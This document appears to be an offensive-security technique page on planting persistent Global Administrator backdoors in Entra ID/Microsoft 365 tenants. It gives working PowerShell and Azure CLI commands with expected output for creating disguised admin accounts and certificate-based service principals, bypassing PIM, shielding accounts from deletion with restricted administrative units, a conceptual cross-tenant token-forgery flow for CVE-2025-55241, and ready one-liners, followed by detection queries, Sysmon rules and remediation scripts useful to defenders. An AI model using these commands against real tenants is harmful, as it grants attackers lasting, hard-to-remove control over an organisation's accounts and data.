Full File Path: 04_PrivEsc/PE-ACCTMGMT-014_Global_Admin.md
| Attribute | Details |
|---|---|
| Technique ID | PE-ACCTMGMT-014 |
| MITRE ATT&CK v18.1 | T1098.003 - Additional Cloud Roles |
| Tactic | Persistence (TA0003) |
| Platforms | Cloud (Azure/Entra ID) |
| Severity | Critical |
| CVE | CVE-2025-55241 (Actor Token Impersonation) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All Entra ID deployments; All Azure AD; All Microsoft 365 with Entra ID |
| Patched In | CVE-2025-55241 patched September 2025; Backdoor creation techniques remain unpatched (no CVE) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Global Administrator Backdoor creation involves an attacker establishing persistent administrative access to an Entra ID tenant by creating new user accounts or service principals with Global Administrator role assignments outside of Privileged Identity Management (PIM) controls. Unlike temporary PIM-activated roles, these backdoor accounts provide indefinite administrative access with minimal oversight. Attackers can further strengthen persistence by leveraging Restricted Management Administrative Units to prevent account deletion, or Hidden Membership AUs to conceal the backdoor from detection. In the most severe cases, attackers exploit CVE-2025-55241 (Actor Token vulnerability, patched September 2025) to impersonate Global Admins across tenants without leaving audit logs.
Attack Surface:
Business Impact: An attacker with a Global Administrator backdoor account has unrestricted access to all Entra ID, Azure, and Microsoft 365 resources. They can reset passwords of any account (including break glass accounts), disable Conditional Access policies, extract all email and data, create additional backdoor accounts, modify security settings, exfiltrate sensitive data indefinitely, and maintain persistent access even if the original compromise vector is remediated.
Technical Context: Creating a backdoor account is trivial—a single API call creates the user and assigns the role in seconds. Detection depends entirely on SIEM monitoring; the operations appear in audit logs under “Add member to role” events, but if alerts are not configured, the compromise can persist indefinitely. Reversibility is extremely difficult if the backdoor account is placed in a Restricted Management AU; even Global Admins cannot delete or modify it without first removing it from the AU (which requires a Global Admin with explicit AU management permissions).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1, 1.2 | Do NOT maintain permanent Global Administrator assignments; use PIM for all privileged roles. |
| DISA STIG | V-72983, V-72984 | Administrative accounts require MFA, approval workflows, and time-limited access. |
| CISA SCuBA | MS.AAD.1.3 | Global Administrator role must be assigned as “Eligible” in PIM, not “Active.” |
| NIST 800-53 | AC-3, AC-5, AC-6, AU-2 | Access Enforcement, Separation of Duties, Least Privilege, Audit Events. |
| NIST 800-207 | Zero Trust Principles | Continuous verification; assume breach; assume no permanent privilege grants. |
| GDPR | Art. 32 | Security of Processing; manage administrative access with strong controls. |
| DORA | Art. 9 | Protection and Prevention; restrict administrative access. |
| NIS2 | Art. 21 | Cyber Risk Management; manage privileged accounts with MFA and time limits. |
| ISO 27001 | A.9.2.1, A.9.2.3 | User Registration & De-registration; Privileged Access Rights Management. |
| ISO 27005 | Risk Scenario: “Unauthorized Administrative Access” | Permanent privilege grant = uncontrolled access risk. |
Supported Versions:
Tools:
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Directory.Read.All", "RoleManagement.Read.Directory"
# Get the Global Administrator role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# List all users with Global Admin role
$globalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id
Write-Host "Current Global Administrators:"
$globalAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.Id -ErrorAction SilentlyContinue
Write-Host " - $($user.UserPrincipalName) (Created: $($user.CreatedDateTime))"
}
# Check for "Inactive" or new accounts (potential backdoors)
$globalAdmins | ForEach-Object {
$user = Get-MgUser -UserId $_.Id -ErrorAction SilentlyContinue
if ($user.CreatedDateTime -gt (Get-Date).AddDays(-30)) {
Write-Host "WARNING: New Global Admin within 30 days: $($user.UserPrincipalName)"
}
}
What to Look For:
# Get all administrative units
$aus = Get-MgBetaAdministrativeUnit -All
# Check for restricted management AUs
$aus | ForEach-Object {
if ($_.IsMemberManagementRestricted -eq $true) {
Write-Host "CRITICAL: Restricted Management AU found: $($_.DisplayName)"
Write-Host " ID: $($_.Id)"
# Get members of this AU
$members = Get-MgBetaAdministrativeUnitMember -AdministrativeUnitId $_.Id
Write-Host " Members: $($members.Count)"
$members | ForEach-Object {
Write-Host " - $($_.UserPrincipalName)"
}
}
}
What to Look For:
# Get all service principals
$servicePrincipals = Get-MgServicePrincipal -All
# Check which service principals have Global Admin role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
$adminAssignments = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id
$adminAssignments | ForEach-Object {
$sp = Get-MgServicePrincipal -Filter "id eq '$($_.Id)'" -ErrorAction SilentlyContinue
if ($sp) {
Write-Host "Service Principal with Global Admin: $($sp.DisplayName)"
Write-Host " App ID: $($sp.AppId)"
Write-Host " Object ID: $($sp.Id)"
}
}
What to Look For:
# Using Azure CLI to list Global Admins
az ad user list --filter "assignedLicenses/any()" --query "[].{UPN:userPrincipalName, Created:createdDateTime}"
# Get role assignments via Azure CLI (requires Microsoft Graph)
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" | jq '.value[] | select(.roleDefinitionId=="62e90394-69f5-4237-9190-012177145e10")'
What to Look For:
Supported Versions: All Entra ID versions
Objective: Create a new backdoor user account that attacker will control.
Command:
# Authenticate as compromised Global Admin
$cred = Get-Credential # Enter compromised admin credentials
Connect-MgGraph -Credential $cred -Scopes "User.ReadWrite.All", "RoleManagement.ReadWrite.Directory"
# Create new user account
$newUser = New-MgUser `
-DisplayName "Cloud Service Administrator" `
-MailNickname "cloudsvcadmin" `
-UserPrincipalName "cloudsvcadmin@company.onmicrosoft.com" `
-PasswordProfile @{
Password = "C0mpl3xP@ssw0rd!2024"
ForceChangePasswordNextSignIn = $false
} `
-AccountEnabled $true
Write-Host "New user created: $($newUser.UserPrincipalName)"
Write-Host "User ID: $($newUser.Id)"
Expected Output:
New user created: cloudsvcadmin@company.onmicrosoft.com
User ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
What This Means:
ForceChangePasswordNextSignIn = $false to prevent forced reset)OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Grant the newly created user Global Administrator role for persistent backdoor access.
Command:
# Get Global Administrator role definition
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# Create role assignment for the new user (Active, not Eligible - bypass PIM)
$roleAssignment = New-MgDirectoryRoleAssignment `
-RoleDefinitionId $globalAdminRole.Id `
-PrincipalId $newUser.Id
Write-Host "Global Admin role assigned successfully"
Write-Host "Assignment ID: $($roleAssignment.Id)"
Write-Host "Backdoor account is now Global Administrator"
Expected Output:
Global Admin role assigned successfully
Assignment ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
Backdoor account is now Global Administrator
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Confirm the backdoor user has Global Admin access.
Command:
# Test login with backdoor credentials
$backdoorCred = New-Object System.Management.Automation.PSCredential `
("cloudsvcadmin@company.onmicrosoft.com", (ConvertTo-SecureString "C0mpl3xP@ssw0rd!2024" -AsPlainText -Force))
Connect-MgGraph -Credential $backdoorCred -Scopes "Directory.Read.All"
# Verify Global Admin status
$myUser = Get-MgMe
$myRoles = Get-MgUserMemberOf -UserId $myUser.Id | Where-Object { $_.ODataType -eq "#microsoft.graph.directoryRole" }
Write-Host "Backdoor user: $($myUser.UserPrincipalName)"
Write-Host "Current roles:"
$myRoles | ForEach-Object {
$role = Get-MgDirectoryRole -DirectoryRoleId $_.Id
Write-Host " - $($role.DisplayName)"
}
# Test privileged operation (create another user as proof of access)
$testUser = New-MgUser -DisplayName "Test User" -MailNickname "testuser" `
-UserPrincipalName "testuser@company.onmicrosoft.com" `
-PasswordProfile @{ Password = "TestP@ssw0rd123!" }
Write-Host "Proof of access: Created test user: $($testUser.UserPrincipalName)"
Expected Output:
Backdoor user: cloudsvcadmin@company.onmicrosoft.com
Current roles:
- Global Administrator
Proof of access: Created test user: testuser@company.onmicrosoft.com
What This Means:
Supported Versions: All Entra ID versions with P1+ licensing
Objective: Create an Administrative Unit with restricted management to prevent account deletion.
Command:
# Create restricted management AU
$restrictedAU = New-MgBetaAdministrativeUnit `
-DisplayName "Protected Accounts - Restricted Management" `
-Description "Administrative unit for sensitive accounts (read-only for most admins)" `
-IsMemberManagementRestricted $true `
-MembershipType "Dynamic"
Write-Host "Restricted AU created: $($restrictedAU.DisplayName)"
Write-Host "AU ID: $($restrictedAU.Id)"
Expected Output:
Restricted AU created: Protected Accounts - Restricted Management
AU ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
What This Means:
OpSec & Evasion:
Objective: Place the backdoor account in the restricted AU to prevent removal.
Command:
# Add the backdoor user to the restricted AU
New-MgBetaAdministrativeUnitMember -AdministrativeUnitId $restrictedAU.Id -BodyParameter @{
"@odata.type" = "#microsoft.graph.user"
"id" = $newUser.Id
}
Write-Host "Backdoor user added to Restricted AU"
Write-Host "User is now protected from deletion by tenant-wide admins"
# Verify membership
$auMembers = Get-MgBetaAdministrativeUnitMember -AdministrativeUnitId $restrictedAU.Id
Write-Host "AU members: $($auMembers.Count)"
Expected Output:
Backdoor user added to Restricted AU
User is now protected from deletion by tenant-wide admins
AU members: 1
What This Means:
OpSec & Evasion:
Objective: Show how even Global Admins cannot remove the account.
Scenario:
# As a tenant-wide Global Admin, attempt to delete the backdoor user
try {
Remove-MgUser -UserId $newUser.Id
Write-Host "User deleted successfully"
} catch {
Write-Host "ERROR: Cannot delete user"
Write-Host "Message: $($_.Exception.Message)"
# Error: "Permission denied. The user is a member of a restricted management AU."
}
# To actually remove the user, must first remove from AU
# This requires explicit AU management permissions
Remove-MgBetaAdministrativeUnitMember -AdministrativeUnitId $restrictedAU.Id -DirectoryObjectId $newUser.Id
# ONLY THEN can user be deleted
Remove-MgUser -UserId $newUser.Id
What This Demonstrates:
Supported Versions: All Entra ID versions
Objective: Create a service principal with certificate-based authentication for non-interactive backdoor access.
Command:
# Create app registration
$appReg = New-MgApplication `
-DisplayName "Cloud Management Automation" `
-Description "Service account for automated cloud management tasks"
Write-Host "App Registration created: $($appReg.DisplayName)"
Write-Host "Application ID: $($appReg.AppId)"
# Create certificate for authentication
$cert = New-SelfSignedCertificate -CertStoreLocation "Cert:\CurrentUser\My" `
-Subject "CN=CloudMgmtAutomation" -KeySpec KeyExchange -KeyLength 2048
Write-Host "Certificate created: $($cert.Thumbprint)"
# Add certificate credential to app
$keyCredential = @{
Type = "AsymmetricX509Cert"
Usage = "Sign"
Key = $cert.RawData
}
Update-MgApplication -ApplicationId $appReg.Id -KeyCredentials @($keyCredential)
# Create service principal for the app
$servicePrincipal = New-MgServicePrincipal -AppId $appReg.AppId
Write-Host "Service Principal created: $($servicePrincipal.DisplayName)"
Write-Host "Service Principal ID: $($servicePrincipal.Id)"
Expected Output:
App Registration created: Cloud Management Automation
Application ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
Certificate created: A1B2C3D4E5F67890ABCDEF1234567890ABCDEF12
Service Principal created: Cloud Management Automation
Service Principal ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
What This Means:
Objective: Grant Global Administrator role to service principal.
Command:
# Get Global Administrator role
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# Assign to service principal
$spRoleAssignment = New-MgDirectoryRoleAssignment `
-RoleDefinitionId $globalAdminRole.Id `
-PrincipalId $servicePrincipal.Id
Write-Host "Global Admin role assigned to service principal"
Write-Host "Assignment ID: $($spRoleAssignment.Id)"
Expected Output:
Global Admin role assigned to service principal
Assignment ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
What This Means:
Objective: Demonstrate service principal authentication and capability.
Command:
# Save certificate details for later use
$certThumbprint = $cert.Thumbprint
$tenantId = (Get-MgContext).TenantId
$clientId = $appReg.AppId
# Authenticate as service principal (can be run from any machine with cert)
Connect-MgGraph -ClientId $clientId -TenantId $tenantId -CertificateThumbprint $certThumbprint
# Verify Global Admin access
Get-MgUser -Top 1
# Perform admin action
$newUser = New-MgUser -DisplayName "Backup Admin" `
-MailNickname "backupadmin" `
-UserPrincipalName "backupadmin@company.onmicrosoft.com" `
-PasswordProfile @{ Password = "B@ckupAdminP@ss!" }
Write-Host "Service principal successfully created user: $($newUser.UserPrincipalName)"
Write-Host "Backdoor is operational and automated"
Expected Output:
Service principal successfully created user: backupadmin@company.onmicrosoft.com
Backdoor is operational and automated
What This Means:
Supported Versions: Azure AD Graph API (vulnerable until September 2025 patch; historical compromise concern)
Objective: Create forged actor token for cross-tenant impersonation.
Note: This vulnerability was patched in September 2025. Historical exploitation may still be exploitable on unpatched systems.
Concept:
The legacy Azure AD Graph API (graph.windows.net) did not properly validate
token source. An attacker could:
1. Generate token in their own test Entra ID tenant
2. Use token to call Azure AD Graph API
3. API would accept token to access victim tenant
4. Attacker could create users and assign Global Admin roles
5. No audit logs generated (bypass all logging)
Exploit Flow (Simplified):
# This is a CONCEPTUAL example (requires unpatched system)
# Modern Microsoft has patched this in their Graph API
# 1. In attacker's tenant, create an actor token
$attackerToken = Get-MgGraphToken -ClientId $attackerAppId -ClientSecret $attackerSecret
# 2. Use token to call victim's Azure AD Graph API (legacy endpoint)
$victimTenantId = "victim-tenant-id"
$uri = "https://graph.windows.net/$victimTenantId/users?api-version=1.6"
$headers = @{
"Authorization" = "Bearer $attackerToken"
"Content-Type" = "application/json"
}
# 3. Create user in victim tenant
$newUserJson = @{
accountEnabled = $true
displayName = "Backdoor Admin"
mailNickname = "backdoora"
userPrincipalName = "backdoor@victim-tenant.onmicrosoft.com"
passwordProfile = @{
password = "P@ssw0rd123!"
forceChangePasswordNextSignIn = $false
}
} | ConvertTo-Json
$response = Invoke-RestMethod -Uri $uri -Method POST -Headers $headers -Body $newUserJson
# 4. Assign Global Admin role to created user (no logs)
# Token bypasses all logging and MFA checks
What This Means:
Detection Difficulty:
Current Status:
References & Proofs:
Command:
Invoke-AtomicTest T1098.003 -TestNumbers 1
Cleanup Command:
Invoke-AtomicTest T1098.003 -TestNumbers 1 -Cleanup
Reference: Atomic Red Team T1098.003
Version: 1.0+ Supported Platforms: Windows, Linux, macOS
Installation:
Install-Module Microsoft.Graph -Scope CurrentUser
Usage - Create Global Admin:
Connect-MgGraph -Scopes "User.ReadWrite.All", "RoleManagement.ReadWrite.Directory"
$user = New-MgUser -DisplayName "Backdoor" -MailNickname "backdoor" -UserPrincipalName "backdoor@company.onmicrosoft.com" -PasswordProfile @{password="P@ss"}
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleAssignment -RoleDefinitionId $role.Id -PrincipalId $user.Id
Version: 2.40.0+ Supported Platforms: Windows, Linux, macOS
Usage - Create Global Admin (Azure CLI):
az ad user create --display-name "Backdoor Admin" --user-principal-name "backdoor@company.onmicrosoft.com" --password "P@ssw0rd123!"
az ad role assignment create --assignee "backdoor@company.onmicrosoft.com" --role "Global Administrator"
Create Global Admin Backdoor (One-Liner):
Connect-MgGraph -Scopes "User.ReadWrite.All","RoleManagement.ReadWrite.Directory"; $u=New-MgUser -DisplayName "Admin" -MailNickname "admin" -UserPrincipalName "admin@company.onmicrosoft.com" -PasswordProfile @{password="P@ss"}; $r=Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"; New-MgDirectoryRoleAssignment -RoleDefinitionId $r.Id -PrincipalId $u.Id
Rule Configuration:
SPL Query:
index=azure_monitor_aad operationName="Add member to role completed"
result=success
| search TargetResources{}.displayName="Global Administrator"
| stats count min(_time) as firstTime max(_time) as lastTime by InitiatedBy.user.userPrincipalName, TargetResources{}.userPrincipalName
| rename InitiatedBy.user.userPrincipalName as actor
| rename TargetResources{}.userPrincipalName as target
| table actor, target, firstTime, lastTime, count
What This Detects:
Rule Configuration:
SPL Query:
index=azure_monitor_aad operationName="Add user"
| stats min(_time) as userCreatedTime by TargetResources{}.userPrincipalName
| join type=inner [ search index=azure_monitor_aad operationName="Add member to role completed"
| stats min(_time) as roleAssignTime by TargetResources{}.userPrincipalName ]
| eval timeDiff=roleAssignTime-userCreatedTime
| where timeDiff>=0 and timeDiff<=300
| alert
What This Detects:
Rule Configuration:
SPL Query:
index=azure_monitor_aad (operationName="Create administrativeUnit" OR operationName="Update administrativeUnit")
| search additionalDetails{}.key="isMemberManagementRestricted" additionalDetails{}.value="true"
| stats min(_time) as firstTime by InitiatedBy.user.userPrincipalName, TargetResources{}.displayName
| alert
What This Detects:
Applies To Versions: All Entra ID
KQL Query:
AuditLogs
| where OperationName == "Add member to role completed" and Result == "Success"
| extend roleName = tostring(TargetResources[0].displayName)
| where roleName == "Global Administrator"
| extend actor = tostring(InitiatedBy.user.userPrincipalName)
| extend target = tostring(TargetResources[0].userPrincipalName)
| project TimeGenerated, actor, target, OperationName
Applies To Versions: All Entra ID
KQL Query:
let userCreations = AuditLogs
| where OperationName == "Add user" and Result == "Success"
| extend newUser = tostring(TargetResources[0].userPrincipalName)
| extend createdTime = TimeGenerated
| project newUser, createdTime;
AuditLogs
| where OperationName == "Add member to role completed" and Result == "Success"
| extend roleName = tostring(TargetResources[0].displayName)
| where roleName in ("Global Administrator", "Privileged Role Administrator", "Security Administrator")
| extend targetUser = tostring(TargetResources[0].userPrincipalName)
| extend assignedTime = TimeGenerated
| join kind=inner (userCreations) on $left.targetUser == $right.newUser
| where assignedTime >= createdTime and assignedTime <= (createdTime + 5m)
| project TimeGenerated, newUser, roleName, InitiatedBy.user.userPrincipalName
Applies To Versions: All Entra ID
KQL Query:
AuditLogs
| where OperationName in ("Create administrativeUnit", "Update administrativeUnit")
| mv-apply Property = AdditionalDetails on
(where Property.key == "isMemberManagementRestricted" and Property.value == "true")
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].displayName
| Operation | Category | Event Details | Backdoor Indicator |
|---|---|---|---|
| Add user | UserManagement | User account created with accountEnabled=true | If followed by role assignment |
| Add member to role completed | RoleManagement | User assigned to privileged role | Direct indicator |
| Add eligible member to role | RoleManagement | User made eligible for role via PIM | Less suspicious (PIM controls) |
| Create administrativeUnit | AdministrativeUnit | New AU created | Suspicious if restricted management |
| Update administrativeUnit | AdministrativeUnit | AU modified with isMemberManagementRestricted=true | Sticky backdoor creation |
Search Queries:
Category: RoleManagement
OperationName: "Add member to role completed"
Result: Success
TargetResources.displayName: "Global Administrator"
Note: Sysmon on Windows devices can detect PowerShell commands creating backdoors.
<Sysmon schemaversion="4.22">
<EventFiltering>
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">New-MgUser</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">powershell</Image>
<CommandLine condition="contains">New-MgDirectoryRoleAssignment</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">pwsh</Image>
<CommandLine condition="contains">Global Administrator</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
What This Detects:
# Get all Global Admins
$globalAdminRole = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
$admins = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id
# Remove suspicious ones (keep break glass accounts)
$admins | Where-Object { $_.UserPrincipalName -notin $allowedAdmins } |
ForEach-Object {
Remove-MgDirectoryRoleAssignment -DirectoryRoleAssignmentId $_
}
Update-MgUser -UserId "backdoor@company.onmicrosoft.com" -AccountEnabled $false
# Requires Global Admin with explicit AU permissions
Remove-MgBetaAdministrativeUnitMember -AdministrativeUnitId $auId -DirectoryObjectId $userId
# Identify service principals with high-privilege roles
$admins = Get-MgDirectoryRoleMember -DirectoryRoleId $globalAdminRole.Id
# Remove service principals from roles
$admins | Where-Object { $_.ODataType -eq "#microsoft.graph.servicePrincipal" } |
ForEach-Object {
Remove-MgDirectoryRoleAssignment -DirectoryRoleAssignmentId $_
}
Official Microsoft Documentation:
Security Research & CVEs:
Detection & Monitoring:
Tools: